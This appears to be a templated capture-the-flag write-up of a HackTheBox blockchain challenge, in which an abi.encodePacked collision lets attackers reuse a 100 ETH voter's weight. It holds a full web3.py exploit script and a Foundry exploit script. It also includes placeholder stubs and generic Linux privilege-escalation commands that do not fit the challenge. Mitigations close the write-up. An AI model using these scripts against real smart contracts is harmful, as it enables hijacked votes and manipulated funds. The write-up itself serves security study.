NotADemocraticElection
NotADemocraticElection
Platform: HackTheBox | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: abi_encodepacked_collision, voter_weight_hijacking
Summary
In the post-apocalyptic wasteland, the remnants of human and machine factions vie for control over the last vestiges of civilization. The Automata Liberation Front (ALF) and the Cyborgs Independence Movement (CIM) are the two primary parties seeking to establish dominance. In this harsh and desolate
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260129_hackthebox_notademocraticelection - Tags: solidity, ethereum, hash_collision, abi_encodepacked, smart_contract
- Indicators: abi.encodePacked with multiple strings, mapping keyed by concatenated strings, separate uniqueness check vs weight storage
- Source:
20260129_hackthebox_notademocraticelection.md
Foothold
Vulnerability / Misconfiguration
- abi_encodepacked_collision
- voter_weight_hijacking
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- abi_encodepacked_collision
- voter_weight_hijacking
- Tags: solidity, ethereum, hash_collision, abi_encodepacked, smart_contract
Original Writeup
<details><summary>Click to expand original content</summary>Description
In the post-apocalyptic wasteland, the remnants of human and machine factions vie for control over the last vestiges of civilization. The Automata Liberation Front (ALF) and the Cyborgs Independence Movement (CIM) are the two primary parties seeking to establish dominance. In this harsh and desolate world, democracy has taken a backseat, and power is conveyed by wealth. Will you be able to bring back some Democracy in this hopeless land?
Goal: Make CIM win the election (reach 1000e18 votes)
Analysis
Contract Overview
Two contracts are provided:
- Setup.sol - Deploys the election contract and deposits 100 ETH for voter "Satoshi Nakamoto"
- NotADemocraticElection.sol - Main voting contract with weighted voting based on ETH deposits
Key Data Structures
solidity read-only • copy allowedmapping(bytes3 _id => Party) public parties; // Party info & vote count mapping(bytes _sig => Voter) public voters; // Voter weight by signature mapping(string _name => mapping(string _surname => address _addr)) public uniqueVoters;
The Vulnerability: abi.encodePacked() Hash Collision
The critical vulnerability is in the getVoterSig() function:
solidity read-only • copy allowedfunction getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) { return abi.encodePacked(_name, _surname); }
Problem: abi.encodePacked() with multiple dynamic types (strings, bytes) does NOT add length prefixes or delimiters. This causes hash collisions:
abi.encodePacked("Satoshi", "Nakamoto") = "SatoshiNakamoto"
abi.encodePacked("SatoshiNaka", "moto") = "SatoshiNakamoto" // SAME!
abi.encodePacked("S", "atoshiNakamoto") = "SatoshiNakamoto" // SAME!
Exploitation Logic
-
Setup deposits 100 ETH for "Satoshi" + "Nakamoto":
uniqueVoters["Satoshi"]["Nakamoto"] = Setup.addressvoters["SatoshiNakamoto"].weight = 100e18
-
We register with collision names (e.g., "S" + "atoshiNakamoto"):
uniqueVoters["S"]["atoshiNakamoto"] = our_address(NEW entry)voters["SatoshiNakamoto"].weight += 0(SAME voter signature!)
-
When we vote, the contract:
- Checks
uniqueVoters["S"]["atoshiNakamoto"] == msg.sender- PASSES - Gets
voters["SatoshiNakamoto"].weight= 100e18 (from original deposit!) - Adds 100e18 votes to our chosen party
- Checks
-
10 collision registrations x 100 ETH weight = 1000e18 votes = WIN
Solution
Collision Strings
All these name/surname pairs produce the same voterSig = "SatoshiNakamoto":
python read-only • copy allowedcollisions = [ ("S", "atoshiNakamoto"), ("Sa", "toshiNakamoto"), ("Sat", "oshiNakamoto"), ("Sato", "shiNakamoto"), ("Satos", "hiNakamoto"), ("Satosh", "iNakamoto"), ("SatoshiN", "akamoto"), ("SatoshiNa", "kamoto"), ("SatoshiNak", "amoto"), ("SatoshiNaka", "moto"), ]
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ NotADemocraticElection - abi.encodePacked collision exploit Exploits hash collision to hijack 100 ETH voter weight """ from web3 import Web3 # Connection details from challenge PRIVATE_KEY = "0xaea7d4cd5a32d1f905d5195b5bc1084667b1f76ffd1013fb737ee357a7fc8341" MY_ADDRESS = "0x69d0057fdB88285cB5305F3BfE70AB44876c5899" TARGET_CONTRACT = "0x99ef00677f8E1B01ca4f3E48824a703b51b14F07" RPC_URL = "http://94.237.55.124:46131" # Contract ABI (minimal) ABI = [ { "inputs": [ {"name": "_name", "type": "string"}, {"name": "_surname", "type": "string"} ], "name": "depositVoteCollateral", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [ {"name": "_party", "type": "bytes3"}, {"name": "_name", "type": "string"}, {"name": "_surname", "type": "string"} ], "name": "vote", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "winner", "outputs": [{"name": "", "type": "bytes3"}], "stateMutability": "view", "type": "function" } ] def main(): w3 = Web3(Web3.HTTPProvider(RPC_URL)) assert w3.is_connected(), "Failed to connect to RPC" account = w3.eth.account.from_key(PRIVATE_KEY) target = w3.eth.contract(address=TARGET_CONTRACT, abi=ABI) # All collision pairs for "SatoshiNakamoto" collisions = [ ("S", "atoshiNakamoto"), ("Sa", "toshiNakamoto"), ("Sat", "oshiNakamoto"), ("Sato", "shiNakamoto"), ("Satos", "hiNakamoto"), ("Satosh", "iNakamoto"), ("SatoshiN", "akamoto"), ("SatoshiNa", "kamoto"), ("SatoshiNak", "amoto"), ("SatoshiNaka", "moto"), ] nonce = w3.eth.get_transaction_count(MY_ADDRESS) print("[*] Exploiting abi.encodePacked collision...") print(f"[*] Need 10 votes x 100 ETH = 1000e18 total votes") for i, (name, surname) in enumerate(collisions): print(f"[{i+1}/10] Registering: '{name}' + '{surname}'") # Step 1: Register with collision name (0 ETH deposit) tx = target.functions.depositVoteCollateral(name, surname).build_transaction({ 'from': MY_ADDRESS, 'value': 0, # No deposit needed - we use existing weight! 'gas': 200000, 'gasPrice': w3.eth.gas_price, 'nonce': nonce, 'chainId': w3.eth.chain_id }) signed = account.sign_transaction(tx) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) w3.eth.wait_for_transaction_receipt(tx_hash) nonce += 1 # Step 2: Vote for CIM using hijacked 100 ETH weight tx = target.functions.vote(b'CIM', name, surname).build_transaction({ 'from': MY_ADDRESS, 'value': 0, 'gas': 200000, 'gasPrice': w3.eth.gas_price, 'nonce': nonce, 'chainId': w3.eth.chain_id }) signed = account.sign_transaction(tx) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) w3.eth.wait_for_transaction_receipt(tx_hash) nonce += 1 print(f" Voted for CIM with 100 ETH weight!") # Check winner winner = target.functions.winner().call() print(f"\n[+] Winner: {winner}") if winner == b'CIM': print("[+] SUCCESS! CIM wins the election!") else: print("[-] Failed - CIM did not win") if __name__ == "__main__": main()
Alternative: Foundry Script
solidity read-only • copy allowed// SPDX-License-Identifier: MIT pragma solidity ^0.8.25; import "forge-std/Script.sol"; interface IElection { function depositVoteCollateral(string memory _name, string memory _surname) external payable; function vote(bytes3 _party, string memory _name, string memory _surname) external; function winner() external view returns (bytes3); } contract Exploit is Script { function run() external { vm.startBroadcast(); IElection target = IElection(0x99ef00677f8E1B01ca4f3E48824a703b51b14F07); // Collision pairs string[10] memory names = ["S", "Sa", "Sat", "Sato", "Satos", "Satosh", "SatoshiN", "SatoshiNa", "SatoshiNak", "SatoshiNaka"]; string[10] memory surnames = ["atoshiNakamoto", "toshiNakamoto", "oshiNakamoto", "shiNakamoto", "hiNakamoto", "iNakamoto", "akamoto", "kamoto", "amoto", "moto"]; for (uint i = 0; i < 10; i++) { target.depositVoteCollateral(names[i], surnames[i]); target.vote(bytes3("CIM"), names[i], surnames[i]); } require(target.winner() == bytes3("CIM"), "CIM should win"); vm.stopBroadcast(); } }
Mitigation
Option 1: Use abi.encode() instead
solidity read-only • copy allowedfunction getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) { return abi.encode(_name, _surname); // Adds length prefixes! }
Option 2: Add delimiter
solidity read-only • copy allowedfunction getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) { return abi.encodePacked(_name, "|", _surname); }
Option 3: Use keccak256 with abi.encode
solidity read-only • copy allowedfunction getVoterSig(string memory _name, string memory _surname) public pure returns (bytes32) { return keccak256(abi.encode(_name, _surname)); }
References
- Solidity Docs: abi.encodePacked
- SWC-133: Hash Collisions With Multiple Variable Length Arguments
- Slither Detector: encode-packed-collision
signed by XESXOR